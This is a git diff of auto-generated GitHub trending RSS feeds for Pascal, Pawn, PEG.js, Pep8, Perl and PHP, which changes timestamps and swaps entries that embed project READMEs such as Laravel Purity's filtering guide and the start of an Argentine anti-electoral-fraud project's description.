2023-10-29T01:38:40Z + 2023-10-30T01:33:19Z Daily Trending of Pascal in GitHub - - HumMan/ContextFreeGrammTree - 2023-10-29T01:38:40Z - tag:github.com,2023-10-29:/HumMan/ContextFreeGrammTree - - <p>Context free grammar editor with hightlight and execution</p><hr> - \ No newline at end of file diff --git a/pascal/weekly/index.xml b/pascal/weekly/index.xml deleted file mode 100644 index f2c289fe3c8..00000000000 --- a/pascal/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Pascal Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:54Z - Weekly Trending of Pascal in GitHub - - - HumMan/ContextFreeGrammTree - 2023-10-29T01:58:54Z - tag:github.com,2023-10-29:/HumMan/ContextFreeGrammTree - - <p>Context free grammar editor with hightlight and execution</p><hr> - - \ No newline at end of file diff --git a/pawn/daily/index.xml b/pawn/daily/index.xml index 723d26163a4..a56c34cfc9e 100644 --- a/pawn/daily/index.xml +++ b/pawn/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pawn Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:38Z + 2023-10-30T01:33:17Z Daily Trending of Pawn in GitHub \ No newline at end of file diff --git a/pawn/weekly/index.xml b/pawn/weekly/index.xml deleted file mode 100644 index 71967b69b2c..00000000000 --- a/pawn/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pawn Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:52Z - Weekly Trending of Pawn in GitHub - - \ No newline at end of file diff --git a/peg.js/daily/index.xml b/peg.js/daily/index.xml index 186be3703a9..ae8ad6b7606 100644 --- a/peg.js/daily/index.xml +++ b/peg.js/daily/index.xml @@ -1,7 +1,7 @@ GitHub PEG.js Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:38Z + 2023-10-30T01:33:18Z Daily Trending of PEG.js in GitHub \ No newline at end of file diff --git a/peg.js/weekly/index.xml b/peg.js/weekly/index.xml deleted file mode 100644 index 35342f8b724..00000000000 --- a/peg.js/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PEG.js Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:52Z - Weekly Trending of PEG.js in GitHub - - \ No newline at end of file diff --git a/pep8/daily/index.xml b/pep8/daily/index.xml index 5f3d04b07b7..950cd31c6b2 100644 --- a/pep8/daily/index.xml +++ b/pep8/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pep8 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:41Z + 2023-10-30T01:33:20Z Daily Trending of Pep8 in GitHub \ No newline at end of file diff --git a/pep8/weekly/index.xml b/pep8/weekly/index.xml deleted file mode 100644 index d9b8acdd69f..00000000000 --- a/pep8/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pep8 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:56Z - Weekly Trending of Pep8 in GitHub - - \ No newline at end of file diff --git a/perl/daily/index.xml b/perl/daily/index.xml index f38a4759a6d..8954c7a67d1 100644 --- a/perl/daily/index.xml +++ b/perl/daily/index.xml @@ -1,28 +1,14 @@ GitHub Perl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:49Z + 2023-10-30T01:33:29Z Daily Trending of Perl in GitHub - Logitech/slimserver-tools - 2023-10-29T01:38:49Z - tag:github.com,2023-10-29:/Logitech/slimserver-tools - - <p>Tools for Slimserver</p><hr><p>Squeezebox Server Tools</p> <p>This directory contains several scripts to work along with the slimserver software.</p> <p>-skinjob.pl Use this tool to convert skins made for SLIMP3 Server (versions before 5.0). The syntax is as follows: skinjob.pl <skinname> where skinname is an optional argument for the skin you wish to change. <br> If no argument, it will start with the current directory. If you run this from the root directory of the skin, it will convert that skin without any arguments needed. This script replaces slimp3.css with slimserver.css, all references within the html file to slimserver.css, and converts any perl module calls to the new SlimServer modules. <br> Old html files are copied and saved to a directory named "old". </skinname></p> <p>-slimp3.pl Command line interface access to the SlimServer. Usage: slimp3.pl --httpaddr &lt;host|ip&gt; --httpport <port> --command <command> [--p1 <arg> ] [--p2 <arg> ] [--p3 <arg> ] [--p4 <arg> ] [--player <playerid> ] </playerid> </arg> </arg> </arg> </arg> </port></p> <pre><code>--httpaddr =&gt; The hostname or ip address of the SLIMP3 web server --httpport =&gt; The port on which the SLIMP3 web server is listening --command =&gt; Pick from the 1st column of the list below --p1 =&gt; Pick from the 2st column of the list below --p2 =&gt; Pick from the 3rd column of the list below --p3 =&gt; Pick from the 4th column of the list below --p4 =&gt; Pick from the 5th column of the list below --player =&gt; Currently the "ip:port" of your player COMMAND P1 P2 P3 P4 play pause (0|1|) stop sleep (0..n) playlist play &lt;song&gt; playlist load &lt;playlist&gt; playlist append &lt;playlist&gt; playlist clear playlist move &lt;fromoffset&gt; &lt;tooffset&gt; playlist delete &lt;songoffset&gt; playlist jump &lt;index&gt; mixer volume (0 .. 100)|(-100 .. +100) mixer balance (-100 .. 100)|(-200 .. +200) mixer base (0 .. 100)|(-100 .. +100) mixer treble (0 .. 100)|(-100 .. +100) status display &lt;line1&gt; &lt;line2&gt; (duration) </code></pre> <p>-update_strings.pl Reads the strings.txt file and checks all items for the presence of an entry defined in $language. If such an entry is not present, it displays entries that are defined in @display and asks the input for $language. An additional sort is done on all translation strings (e.g. DE, FR, EN --&gt; DE, EN, FR) Result is stored in out.txt</p> <p>-whack.pl Use this tool to convert old plugins (made for SLIMP3 Server versions below 5.0) to SlimServer plugins. The syntax for the command is as follows: whack.pl myplugin.pm... This will rewrite myplugin.pm (and any other specified files), leaving a copy of the script in myplugin.pm.old, to use the new module layout.</p> <p>-strings a few tools to extract/merge strings for localization by SLT</p> - - - PerlDancer/dancer-plugin-deferred - 2023-10-29T01:38:49Z - tag:github.com,2023-10-29:/PerlDancer/dancer-plugin-deferred - - <p>Deferred messages for Dancer</p><hr><p>=pod</p> <p>=head1 NAME</p> <p>Dancer::Plugin::Deferred - Defer messages or data across redirections</p> <p>=head1 VERSION</p> <p>version 0.003</p> <p>=head1 SYNOPSIS</p> <p>use Dancer::Plugin::Deferred;</p> <p>get '/defer' =&gt; sub { deferred error =&gt; "Klaatu barada nikto"; redirect '/later'; }</p> <p>get '/later' =&gt; sub { template 'later'; }</p> <h1>in template 'later.tt'</h1> <p>&lt;% IF deferred.error %&gt;</p> <div class="error"> &lt;% deferred.error %&gt; </div> &lt;% END %&gt; <p>=head1 DESCRIPTION</p> <p>This L <dancer> plugin provides a method for deferring a one-time message across a redirect. It is similar to "flash" messages, but without the race conditions that can result from multiple tabs in a browser or from AJAX requests. It is similar in design to L <a href="Catalyst::Plugin::StatusMessage">Catalyst::Plugin::StatusMessage</a>, but adapted for Dancer. </dancer></p> <p>It works by creating a unique message ID within the session that holds deferred data. The message ID is automatically added as a query parameter to redirection requests. It's sort of like a session within a session, but tied to a request rather than global to the browser. (It will even chain across multiple redirects.)</p> <p>When a template is rendered, a pre-template hook retrieves the data and deletes it from the session. Alternatively, the data can be retrieved manually (which will also automatically delete the data.)</p> <p>Alternatively, the message ID parameters can be retrieved and used to construct a hyperlink for a message to be retrieved later. In this case, the message is preserved past the template hook. (The template should be sure not to render the message if not desired.)</p> <p>=for Pod::Coverage method_names_here</p> <p>=head1 USAGE</p> <p>=head2 deferred</p> <p>deferred $key =&gt; $value; $value = deferred $key; # also deletes $key</p> <p>This function works just like C<var> or C <session> , except that it lasts only for the current request and across any redirects. Data is deleted if accessed. If a key is set to an undefined value, the key is deleted from the deferred data hash. </session></var></p> <p>=head2 all_deferred</p> <p>template 'index', { deferred =&gt; all_deferred };</p> <p>This function returns all the deferred data as a hash reference and deletes the stored data. This is called automatically in the C&lt;before_template_render&gt; hook, but is available if someone wants to have manual control.</p> <p>=head2 deferred_param</p> <p>template 'index' =&gt; { link =&gt; uri_for( '/other', { deferred_param } ) };</p> <p>This function returns the parameter key and value used to propagate the message to another request. Using this function toggles the C&lt;var_keep_key&gt; variable to true to ensure the message remains to be retrieved by the link.</p> <p>=head1 CONFIGURATION</p> <p>=over 4</p> <p>=item *</p> <p>C&lt;var_key: dpdid&gt; -- this is the key in the C<var> hash containing the message ID</var></p> <p>=item *</p> <p>C&lt;var_keep_key: dpd_keep&gt; -- if this key in C<var> is true, retrieving values will not be destructive</var></p> <p>=item *</p> <p>C&lt;params_key: dpdid&gt; -- this is the key in the C <params> hash containing the message ID </params></p> <p>=item *</p> <p>C&lt;session_key_prefix&gt;: dpd_&gt; -- the message ID is appended to this prefix and used to store deferred data in the session</p> <p>=item *</p> <p>C&lt;template_key: deferred&gt; -- this is the key to deferred data passed to the template</p> <p>=back</p> <p>=head1 SEE ALSO</p> <p>=over 4</p> <p>=item *</p> <p>L <dancer></dancer></p> <p>=item *</p> <p>L<a href="Dancer::Plugin::FlashMessage">Dancer::Plugin::FlashMessage</a></p> <p>=item *</p> <p>L<a href="Dancer::Plugin::FlashNote">Dancer::Plugin::FlashNote</a></p> <p>=item *</p> <p>L<a href="Catalyst::Plugin::StatusMessage">Catalyst::Plugin::StatusMessage</a></p> <p>=back</p> <p>=head1 ACKNOWLEDGMENTS</p> <p>Thank you to mst for explaining why L<a href="Catalyst::Plugin::StatusMessages">Catalyst::Plugin::StatusMessages</a> does what it does and putting up with my dumb ideas along the way.</p> <p>=for :stopwords cpan testmatrix url annocpan anno bugtracker rt cpants kwalitee diff irc mailto metadata placeholders metacpan</p> <p>=head1 SUPPORT</p> <p>=head2 Bugs / Feature Requests</p> <p>Please report any bugs or feature requests through the issue tracker at L<a href="https://github.com/dagolden/dancer-plugin-deferred/issues">https://github.com/dagolden/dancer-plugin-deferred/issues</a>. You will be notified automatically of any progress on your issue.</p> <p>=head2 Source Code</p> <p>This is open source software. The code repository is available for public review and contribution under the terms of the license.</p> <p>L<a href="https://github.com/dagolden/dancer-plugin-deferred">https://github.com/dagolden/dancer-plugin-deferred</a></p> <p>git clone git://github.com/dagolden/dancer-plugin-deferred.git</p> <p>=head1 AUTHOR</p> <p>David Golden <a href="mailto:dagolden@cpan.org">dagolden@cpan.org</a></p> <p>=head1 COPYRIGHT AND LICENSE</p> <p>This software is Copyright (c) 2012 by David Golden.</p> <p>This is free software, licensed under:</p> <p>The Apache License, Version 2.0, January 2004</p> - - - seveas/Term-Multiplexed - 2023-10-29T01:38:49Z - tag:github.com,2023-10-29:/seveas/Term-Multiplexed - - <p></p><hr><p>Term::Multiplexed - Detect terminal multiplexers (screen, tmux)</p> <p>SYNOPSIS</p> <p>use Term::Multiplexed qw(multiplexed attached multiplexer); if(multiplexed) { say "Using " . multiplexer . " as terminal multiplexer"; say "Currently " . (attached ? : "not ") . "attached."; }</p> <p>DESCRIPTION</p> <p>When running scripts inside screen/tmux, it's often useful to detect this and to detect whether the multiplexer of choice is currently attached or not. This module does exactly that and nothing more.</p> <p>EXPORTS</p> <p>multiplexed</p> <p>Returns whether we are running inside a terminal multiplexer or not. Currently only screen and tmux are detected.</p> <p>attached</p> <p>Returns true when the multiplexer is attached. Returns undef when called outside a multiplexed environment.</p> <p>detached</p> <p>Returns false when the multiplexer is attached. Returns undef when called outside a multiplexed environment.</p> <p>multiplexer</p> <p>The name of the current multiplexer. Currently only "screen" and "tmux" are possible return values.</p> <p>muxsocket</p> <p>The full filesystem path to the socket used by the multiplexer.</p> <p>SEE ALSO</p> <p>Manpages: screen(1) tmux(1)</p> <p>AUTHOR</p> <p>Dennis Kaarsemaker E <lt> <a href="mailto:dennis@kaarsemaker.netE">dennis@kaarsemaker.netE</a> <gt></gt> </lt></p> <p>COPYRIGHT AND LICENSE</p> <p>This software is placed in the public domain, no rights reserved</p> + thailyn/PAPS-RefMatch + 2023-10-30T01:33:29Z + tag:github.com,2023-10-30:/thailyn/PAPS-RefMatch + + <p></p><hr> \ No newline at end of file diff --git a/perl/weekly/index.xml b/perl/weekly/index.xml deleted file mode 100644 index b7c035fe952..00000000000 --- a/perl/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Perl Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:02Z - Weekly Trending of Perl in GitHub - - - giellalt/dict-nob-fkv - 2023-10-29T01:59:02Z - tag:github.com,2023-10-29:/giellalt/dict-nob-fkv - - <p></p><hr> - - - giellalt/dict-est-nob - 2023-10-29T01:59:02Z - tag:github.com,2023-10-29:/giellalt/dict-est-nob - - <p></p><hr> - - - giellalt/dict-otw-eng - 2023-10-29T01:59:02Z - tag:github.com,2023-10-29:/giellalt/dict-otw-eng - - <p></p><hr> - - \ No newline at end of file diff --git a/php/daily/index.xml b/php/daily/index.xml index 49940797b9a..137d6ad237f 100644 --- a/php/daily/index.xml +++ b/php/daily/index.xml @@ -1,14 +1,14 @@ GitHub PHP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:04Z + 2023-10-30T01:33:25Z Daily Trending of PHP in GitHub - abbasudo/laravel-purity - 2023-10-29T01:39:04Z - tag:github.com,2023-10-29:/abbasudo/laravel-purity - - <p>An elegant way to filter and sort queries in Laravel</p><hr><p align="center"> <img src="https://github.com/abbasudo/laravel-purity/raw/master/art/purity-logo.png" alt="Social Card of Laravel Purity"> </p> <h1 align="center">Elegant way to filter and sort queries in Laravel</h1> <p></p> <p><a href="https://github.com/abbasudo/laravel-purity/actions/workflows/tests.yml"><img src="https://github.com/abbasudo/laravel-purity/actions/workflows/tests.yml/badge.svg?sanitize=true" alt="Tests"></a> <a href="https://github.com/abbasudo/laravel-purity"><img src="http://poser.pugx.org/abbasudo/laravel-purity/license" alt="License"></a> <a href="https://packagist.org/packages/abbasudo/laravel-purity"><img src="http://poser.pugx.org/abbasudo/laravel-purity/v" alt="Latest Unstable Version"></a> <a href="https://packagist.org/packages/abbasudo/laravel-purity"><img src="http://poser.pugx.org/abbasudo/laravel-purity/require/php" alt="PHP Version Require"></a> <a href="https://packagist.org/packages/abbasudo/laravel-purity"><img src="https://github.styleci.io/repos/603931433/shield" alt="StyleCI"></a></p> <!-- [![visitors](https://visitor-badge.glitch.me/badge?page_id=abbasudo.laravel-purity)](https://packagist.org/packages/abbasudo/laravel-purity) --> <blockquote> <p><strong>Note</strong> If you are a front-end developer and want to make queries in an API that uses this package head to the <a href="https://raw.githubusercontent.com/abbasudo/laravel-purity/master/#queries-and-javascript-examples">queries</a> section</p> </blockquote> <blockquote> <p><strong>Note</strong> Version 2 changed filter method read more at <a href="https://raw.githubusercontent.com/abbasudo/laravel-purity/master/#upgrade-guide">upgrade guide</a> section</p> </blockquote> <p>Laravel Purity is an elegant and efficient filtering and sorting package for Laravel, designed to simplify complex data filtering and sorting logic for eloquent queries. By simply adding <code>filter()</code> to your Eloquent query, you can add the ability for frontend users to apply filters based on URL query string parameters like a breeze.</p> <p>Features :</p> <ul> <li>Livewire support (added in v2)</li> <li>Rename and restrict fields (added in v2)</li> <li>Various filter methods</li> <li>Simple installation and usage</li> <li>Filter by relation columns</li> <li>Custom filters</li> <li>Multi-column sort</li> </ul> <p>Laravel Purity is not only developer-friendly but also front-end developer-friendly. Frontend developers can effortlessly use filtering and sorting of the APIs by using the popular <a href="https://www.npmjs.com/package/qs">JavaScript qs</a> package.</p> <p>The way this package handles filters is inspired by strapi's <a href="https://docs.strapi.io/dev-docs/api/rest/filters-locale-publication#filtering">filter</a> and <a href="https://docs.strapi.io/dev-docs/api/rest/sort-pagination#sorting">sort</a> functionality.</p> <h2>Tutorials</h2> <h3>Video</h3> <p><a href="https://youtu.be/nvCTEKvRdec"><img src="https://user-images.githubusercontent.com/86796762/227452155-3644f431-a8ce-41bc-ad4b-95383a3209fa.png" alt="youtube"></a></p> <h3>Articles</h3> <ul> <li><a href="https://medium.com/@abbasudo/the-correct-way-of-adding-filters-to-laravel-10-bb9957c2ddc6">The correct way of adding filters to Laravel</a></li> <li><a href="https://dev.to/abbasudo/add-filter-to-your-laravel-10-app-4f5f">Add filter to your laravel app</a></li> <li><a href="https://medium.com/@abbasudo/enable-filtering-in-your-laravel-app-with-ease-a63f79b5e452">Enable filtering queries in your laravel 10 app with ease</a></li> </ul> <h2>Installation</h2> <p>Install the package via composer by this command:</p> <pre><code class="language-sh">composer require abbasudo/laravel-purity </code></pre> <p>Get configs (<code>configs/purity.php</code>) file to customize the package's behavior by this command:</p> <pre><code class="language-sh">php artisan vendor:publish --tag=purity </code></pre> <h2>Basic Usage</h2> <h3>Filters</h3> <p>Add <code>Filterable</code> trait to your model to get filters functionalities.</p> <pre><code class="language-php">use Abbasudo\Purity\Traits\Filterable; class Post extends Model { use Filterable; // } </code></pre> <p>Now add <code>filter()</code> to your model eloquent query in the controller.</p> <pre><code class="language-php">use App\Models\Post; class PostController extends Controller { public function index() { return Post::filter()-&gt;get(); } } </code></pre> <p>By default, it gives access to all filters available. here is the list of <a href="https://raw.githubusercontent.com/abbasudo/laravel-purity/master/#available-filters">available filters</a>. if you want to explicitly specify which filters to use in this call head to <a href="https://raw.githubusercontent.com/abbasudo/laravel-purity/master/#restrict-filters">restrict filters</a> section.</p> <h3>Sort</h3> <p>Add <code>Sortable</code> trait to your model to get sorts functionalities.</p> <pre><code class="language-php">use Abbasudo\Purity\Traits\Sortable; class Post extends Model { use Sortable; // } </code></pre> <p>Now add <code>sort()</code> to your eloquent query in the controller.</p> <pre><code class="language-php">use App\Models\Post; class PostController extends Controller { public function index() { return Post::sort()-&gt;get(); } } </code></pre> <p>Now sort can be applied as instructed in <a href="https://raw.githubusercontent.com/abbasudo/laravel-purity/master/#usage-examples">sort usage</a>.</p> <h2>Advanced Usage</h2> <h3>Allowed Fields</h3> <p>By default, purity allows every database column and all model relations to be filtered. you can overwrite the allowed columns as follows:</p> <pre><code class="language-php">// App\Models\User protected $filterFields = [ 'email', 'mobile', 'posts', // relation ]; protected $sortFields = [ 'name', 'mobile', ]; </code></pre> <p>any field other than email, mobile, or posts will be rejected when filtering.</p> <h4>Overwrite Allowed Fields</h4> <p>to overwrite allowed fields in the controller add <code>filterFields</code> or <code>sortFields</code> before calling filter or sort method.</p> <pre><code class="language-php">Post::filterFields('title', 'created_at')-&gt;filter()-&gt;get(); Post::sortFields('created_at', 'updated_at')-&gt;sort()-&gt;get(); </code></pre> <blockquote> <p><strong>Note</strong> filterFields and sortFields will overwrite fields defined in the model.</p> </blockquote> <h3>Rename Fields</h3> <p>To rename fields simply add a value to fields defined in <code>$filterFields</code> and <code>$sortFields</code> arrays:</p> <pre><code class="language-php">// App\Models\User protected $filterFields = [ 'email', 'mobile' =&gt; 'phone', 'posts' =&gt; 'writing', // relation ]; protected $sortFields = [ 'name', 'mobile' =&gt; 'phone', ]; </code></pre> <p>the client should send phone in order to filter by mobile.</p> <h4>Overwrite Renamed Fields</h4> <p>to overwrite renamed fields in the controller you pass renamed fields to <code>filterFields</code> and <code>sortFields</code>.</p> <pre><code class="language-php">Post::filterFields(['title', 'created_at' =&gt; 'published_date'])-&gt;filter()-&gt;get(); Post::sortFields([ 'created_at' =&gt; 'published_date', 'updated_at' ])-&gt;sort()-&gt;get(); </code></pre> <blockquote> <p><strong>Note</strong> filterFields and sortFields will overwrite fields defined in the model.</p> </blockquote> <h3>Restrict Filters</h3> <p>purity validates allowed filters in the following order of priority:</p> <ul> <li>Filters specified in the <code>filters</code> configuration in the <code>configs/purity.php</code> file.</li> </ul> <pre><code class="language-php">// configs/purity.php 'filters' =&gt; [ EqualFilter::class, InFilter::class, ], </code></pre> <ul> <li>Filters declared in the <code>$filters</code> variable in the model.</li> </ul> <p>note that, $filters will overwrite configs filters.</p> <pre><code class="language-php">// App\Models\Post private array $filters = [ '$eq', '$in', ]; // or private array $filters = [ EqualFilter::class, InFilter::class, ]; </code></pre> <ul> <li>Filters passed as an array to the <code>filterBy()</code> function.</li> </ul> <p>note that, filterBy will overwrite all other defined filters.</p> <pre><code class="language-php">Post::filterBy('$eq', '$in')-&gt;filter()-&gt;get(); // or Post::filterBy(EqualFilter::class, InFilter::class)-&gt;filter()-&gt;get(); </code></pre> <h3>Changing Params Source</h3> <p>By Default, purity gets params from filters index in query params, overwrite this by passing params directly to filter or sort functions:</p> <pre><code class="language-php">Post::filter($params)-&gt;get(); Post::filter([ 'title' =&gt; ['$eq' =&gt; 'good post'] ])-&gt;get(); Post::sort([ 'title' =&gt; ['$in' =&gt; [1, 2, 3]] ])-&gt;get(); </code></pre> <h3>Livewire</h3> <p>to add filter to your livewire app, first define <code>$filters</code> variable in your component and pass it to filter or sort method:</p> <pre><code class="language-php">// component #[Url] public $filters = [ 'title' =&gt; [], ]; public function render() { $transactions = Transaction::filter($this-&gt;filters)-&gt;get(); return view('livewire.transacrion-table',compact('transactions')); } </code></pre> <p>then bind the variable in your blade template.</p> <pre><code class="language-blade">&lt;!-- in blade template --&gt; &lt;input type="text" wire:model.live="filters.title.$eq" placeholder="title" /&gt; </code></pre> <p>read more in <a href="https://livewire.laravel.com/docs/url">livewire docs</a></p> <h3>Custom Filters</h3> <p>Create a custom filter class by this command:</p> <pre><code class="language-sh">php artisan make:filter EqualFilter </code></pre> <p>this will generate a filter class in <code>Filters</code> directory. By default, all classes defined in <code>Filters</code> directory are loaded into the package. you can change scan folder location in purity config file.</p> <pre><code class="language-php">// configs/purity.php 'custom_filters_location' =&gt; app_path('Filters'), </code></pre> <h3>Silent Exceptions</h3> <p>By default, purity silences its own exceptions. to change that behavior change the <code>silent</code> index to <code>false</code> in the config file.</p> <pre><code class="language-php">// configs/purity.php 'silent' =&gt; false, </code></pre> <h2>Queries and javascript examples</h2> <p>This section is a guide for front-end developers who want to use an API that uses Laravel Purity.</p> <h3>Available Filters</h3> <p>Queries can accept a filters parameter with the following syntax:</p> <p><code>GET /api/posts?filters[field][operator]=value</code></p> <p><strong>By Default</strong> the following operators are available:</p> <table> <thead> <tr> <th>Operator</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><code>$eq</code></td> <td>Equal</td> </tr> <tr> <td><code>$eqc</code></td> <td>Equal (case-sensitive)</td> </tr> <tr> <td><code>$ne</code></td> <td>Not equal</td> </tr> <tr> <td><code>$lt</code></td> <td>Less than</td> </tr> <tr> <td><code>$lte</code></td> <td>Less than or equal to</td> </tr> <tr> <td><code>$gt</code></td> <td>Greater than</td> </tr> <tr> <td><code>$gte</code></td> <td>Greater than or equal to</td> </tr> <tr> <td><code>$in</code></td> <td>Included in an array</td> </tr> <tr> <td><code>$notIn</code></td> <td>Not included in an array</td> </tr> <tr> <td><code>$contains</code></td> <td>Contains</td> </tr> <tr> <td><code>$notContains</code></td> <td>Does not contain</td> </tr> <tr> <td><code>$containsc</code></td> <td>Contains (case-sensitive)</td> </tr> <tr> <td><code>$notContainsc</code></td> <td>Does not contain (case-sensitive)</td> </tr> <tr> <td><code>$null</code></td> <td>Is null</td> </tr> <tr> <td><code>$notNull</code></td> <td>Is not null</td> </tr> <tr> <td><code>$between</code></td> <td>Is between</td> </tr> <tr> <td><code>$startsWith</code></td> <td>Starts with</td> </tr> <tr> <td><code>$startsWithc</code></td> <td>Starts with (case-sensitive)</td> </tr> <tr> <td><code>$endsWith</code></td> <td>Ends with</td> </tr> <tr> <td><code>$endsWithc</code></td> <td>Ends with (case-sensitive)</td> </tr> <tr> <td><code>$or</code></td> <td>Joins the filters in an "or" expression</td> </tr> <tr> <td><code>$and</code></td> <td>Joins the filters in an "and" expression</td> </tr> </tbody> </table> <h4>Simple Filtering</h4> <blockquote> <p><strong>Tip</strong> In javascript use <a href="https://www.npmjs.com/package/qs">qs</a> directly to generate complex queries instead of creating them manually. Examples in this documentation showcase how you can use <code>qs</code>.</p> </blockquote> <p>Find users having 'John' as their first name</p> <p><code>GET /api/users?filters[name][$eq]=John</code></p> <pre><code class="language-js">const qs = require('qs'); const query = qs.stringify({ filters: { username: { $eq: 'John', }, }, }, { encodeValuesOnly: true, // prettify URL }); await request(`/api/users?${query}`); </code></pre> <p>Find multiple restaurants with ids 3, 6, 8</p> <p><code>GET /api/restaurants?filters[id][$in][0]=3&amp;filters[id][$in][1]=6&amp;filters[id][$in][2]=8</code></p> <pre><code class="language-js">const qs = require('qs'); const query = qs.stringify({ filters: { id: { $in: [3, 6, 8], }, }, }, { encodeValuesOnly: true, // prettify URL }); await request(`/api/restaurants?${query}`); </code></pre> <h4>Complex Filtering</h4> <p>Complex filtering is combining multiple filters using advanced methods such as combining <code>$and</code> &amp; <code>$or</code>. This allows for more flexibility to request exactly the data needed.</p> <p>Find books with 2 possible dates and a specific author.</p> <p><code>GET /api/books?filters[$or][0][date][$eq]=2020-01-01&amp;filters[$or][1][date][$eq]=2020-01-02&amp;filters[author][name][$eq]=Kai%20doe</code></p> <pre><code class="language-js">const qs = require('qs'); const query = qs.stringify({ filters: { $or: [ { date: { $eq: '2020-01-01', }, }, { date: { $eq: '2020-01-02', }, }, ], author: { name: { $eq: 'Kai doe', }, }, }, }, { encodeValuesOnly: true, // prettify URL }); await request(`/api/books?${query}`); </code></pre> <h4>Deep Filtering</h4> <p>Deep filtering is filtering on a relation's fields.</p> <p>Find restaurants owned by a chef who belongs to a 5-star restaurant</p> <p><code>GET /api/restaurants?filters[chef][restaurants][stars][$eq]=5</code></p> <pre><code class="language-js">const qs = require('qs'); const query = qs.stringify({ filters: { chef: { restaurants: { stars: { $eq: 5, }, }, }, }, }, { encodeValuesOnly: true, // prettify URL }); await request(`/api/restaurants?${query}`); </code></pre> <h3>Apply Sort</h3> <p>Queries can accept a sort parameter that allows sorting on one or multiple fields with the following syntax's:</p> <p><code>GET /api/:pluralApiId?sort=value</code> to sort on 1 field</p> <p><code>GET /api/:pluralApiId?sort[0]=value1&amp;sort[1]=value2</code> to sort on multiple fields (e.g. on 2 fields)</p> <p>The sorting order can be defined as:</p> <ul> <li><code>:asc</code> for ascending order (default order, can be omitted)</li> <li><code>:desc</code> for descending order.</li> </ul> <h4>Usage Examples</h4> <p>Sort using 2 fields</p> <p><code>GET /api/articles?sort[0]=title&amp;sort[1]=slug</code></p> <pre><code class="language-js">const qs = require('qs'); const query = qs.stringify({ sort: ['title', 'slug'], }, { encodeValuesOnly: true, // prettify URL }); await request(`/api/articles?${query}`); </code></pre> <p>Sort using 2 fields and set the order</p> <p><code>GET /api/articles?sort[0]=title%3Aasc&amp;sort[1]=slug%3Adesc</code></p> <pre><code class="language-js">const qs = require('qs'); const query = qs.stringify({ sort: ['title:asc', 'slug:desc'], }, { encodeValuesOnly: true, // prettify URL }); await request(`/api/articles?${query}`); </code></pre> <h2>Upgrade Guide</h2> <h3>Version 2</h3> <p>changed filter function arguments. filter function no longer accepts filter methods, instead, filter function now accepts filter source as mentioned in <a href="https://raw.githubusercontent.com/abbasudo/laravel-purity/master/#custom-filters">Custom Filters</a> section. to specify allowed filter methods use filterBy as mentioned in <a href="https://raw.githubusercontent.com/abbasudo/laravel-purity/master/#restrict-filters">Restrict Filters</a></p> <h2>License</h2> <p>Laravel Purity is Licensed under The MIT License (MIT). Please see <a href="https://github.com/abbasudo/laravel-purity/raw/master/LICENSE">License File</a> for more information.</p> + Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral + 2023-10-30T01:33:25Z + tag:github.com,2023-10-30:/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral + + <p>Sistema Open Source para Identificar potenciales fraudes electorales, minimizar su ocurrencia e impacto.</p><hr><p><img src="https://img.shields.io/github/repo-size/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral" alt="GitHub Repo Size"></p> <h1><span>🦁</span> Sistema-Anti-Fraude-Electoral <span>🦁</span></h1> <p>Este es un proyecto <strong>Open Source</strong> (código libre) cuyo objetivo es minimizar y detectar la posibilidad de fraude electoral en las próximas elecciones presidenciales de Argentina donde se define finalmente quien será presidente.</p> <p>La intención de crear este sistema es mantener y preservar la democracia y la transparencia al pueblo argentino.</p> <h2>Indice</h2> <ul> <li><a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#lion-sistema-anti-fraude-electoral-lion"><span>🦁</span> Sistema-Anti-Fraude-Electoral <span>🦁</span></a> &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#indice">Indice</a> &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#objetivos">Objetivos</a> &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#componentes">Componentes</a> &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#repositorios-y-organizaci%C3%B3n">Repositorios y organización</a> &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#tipos-de-fraudes">Tipos de Fraudes</a> &nbsp; &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#sumarizaci%C3%B3n-fraudulenta">Sumarización Fraudulenta</a> &nbsp; &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#mesas-inexistentes">Mesas Inexistentes</a> &nbsp; &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#datos-de-mesa-correctos-luego-incorrectos">Datos de Mesa Correctos luego Incorrectos</a> &nbsp; 